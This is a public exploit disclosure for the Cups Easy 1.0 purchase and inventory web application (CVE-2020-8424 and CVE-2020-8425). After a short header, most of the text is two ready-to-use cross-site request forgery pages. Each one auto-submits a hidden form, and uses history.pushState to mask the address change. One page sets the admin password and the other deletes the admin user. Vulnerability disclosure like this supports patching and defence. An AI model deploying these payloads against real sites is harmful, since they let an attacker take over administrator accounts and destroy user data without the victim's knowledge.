Cups Easy version 1.0 suffers from a cross site request forgery vulnerability.
6573b5e541b8a5b91dccf2d5f08c2f5b5842f84ea72dc72f552b2d75d2f7922e# Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)
# Date: 2020-01-28
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/
# Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/
# Version: 1.0
# Tested on Windows 10/Kali Rolling
# CVE: CVE-2020-8424, CVE-2020-8425
# The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery
# that would allow an attacker to change the Admin password and gain unrestricted
# access to the site or delete any user.
# Proof of Concept Code for Password Change:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="PASSWORDHERE" />
<input type="hidden" name="change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# Proof of concept for user delete:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="delete" value="Delete" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
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